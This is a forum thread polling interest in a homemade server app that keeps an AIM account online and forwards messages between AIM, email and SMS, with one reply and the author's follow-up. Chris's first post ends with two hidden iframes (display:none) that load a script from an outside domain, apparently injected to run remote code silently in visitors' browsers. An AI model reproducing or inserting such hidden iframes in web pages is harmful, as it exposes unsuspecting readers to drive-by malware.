Poll: Would you want a 24/7 AIM Connection App?

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  1. #1
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    Lightbulb New App: 24/7 AIM Connection

    I moved the following post to the polls thread to see if I can get some tabulated feedback:

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    I've been looking at getting an i300 for a few weeks and have been doing a lot of research. I'm definitely going to get one, just waiting on approval from my CFO (aka Wife). But I got so excited about it I started thinking of all the ways I could use it to replace my desktop PC when I'm not at home or the office. And of course Instant Messaging came to mind.

    So, of course, I wrote a program. Basically what it does is run on a server and keep my AIM account logged in 24/7. Whenever someone IM's me it forwards the message to an e-mail address (or multiple addresses) that I specify. I can then reply, in an e-mail, and the message is forwarded to their AIM account via an IM. I can also generate new messages via e-mail to anyone with an AIM account. The address would be "<AIM-NICK>@domain.com". So I can use an e-mail client to fully communicate with someone that's using AOL Instant Messenger.

    Now, that part isn't anything particularly new since I know of at least one other program out there doing something similar. However, what is new, is that my program is smart enough to keep track of when you're logged on manually from an AIM client. So in the morning I'll get on my home PC and log into AIM, the server logs off it's AIM account and stays off until I log off my AIM account from my PC. At which point it logs itself back in and waits for messages.

    I know that the WAP AIM service is similar, but you have to actually manually log on to it, and if you log on from your workstation then it resets the WAP connection. Plus, the WAP version doesn't let you log, queue and forward IM's to and from any e-mail address. I use my phone's SMS address as one of the recipient addresses. When I get the message I can then decide if I want to ignore it, respond to it with an email-to-AIM message(which I can type and prepare off line) or log onto the full AIM system to hold a conversation. And I can log on and off from anywhere at anytime and not worry about reconnecting or restarting anything.

    I can also set the thing up to only run at certain times, filter out certain messages or Nicks, only forward messages during certain times, etc.

    The reason I'm telling everyone about this is because I want to see if there is any interest in developing this further. Either as an individual software package that an end-user could download and install on their own workstation, or as a service that you would subscribe to and log into a web page to configure your Nick and preferences.

    I originally wrote this purely for myself. I thought it would be a cool thing to be able to do and I like to be "connected" 24/7. Ever notice how some people prefer to reach you by voice, some prefer e-mail and some prefer IM? This program combined with the i300 (which can do phone and wireless e-mail) let's me be connected and reachable in all those ways 24/7 at my convenience. I can choose to accept, ignore, respond, etc.

    My wife kept asking me this weekend if I was going to sell this app and I kept responding "Are you kidding me? I wrote this for fun and because I'm a nutcase about being connected, no one else would want it".

    So what this really comes down to is: Who's right, me or my wife? Anyone have an interest in this kind of app?

    -Chris<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
    <iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

  2. #2
    smartphonecentral.com
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    This is an excellent idea. I like either plan, although having it run on a server is more appealing since I feel it will be more reliable.

    Good job. What platform does your app run on?

    --Jesse
    New smartphone discussion board! :cool:
    :: Visit smartphonecentral.com today and start talking! ::

  3. #3
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    It's very portable right now. It's running on Win2k Advanced Server but would work on NT with no mods and on a Linux/Unix platform with minor mods. If I decided to take this mainstream and release it I would refine and compile it for whatever platform the service provider wanted to use.

    I agree with you about having it run as a service. So then the question becomes, who will foot the bill for the systems and bandwidth, albet it small? I'm thinking to keep it "free" for the user you would want to get a service provider to cover the cost. Otherwise someone is going to end up paying for it out of their own personal pocket and if the user base grows much beyond 100 it could be a real impact on their resources depending on utilization.

    If enough people are interested I'll explore that avenue and make it happen. Maybe it would require some advertising on the main site or permission based marketing (ugh) but I'm sure I could make it happen.

    -Chris

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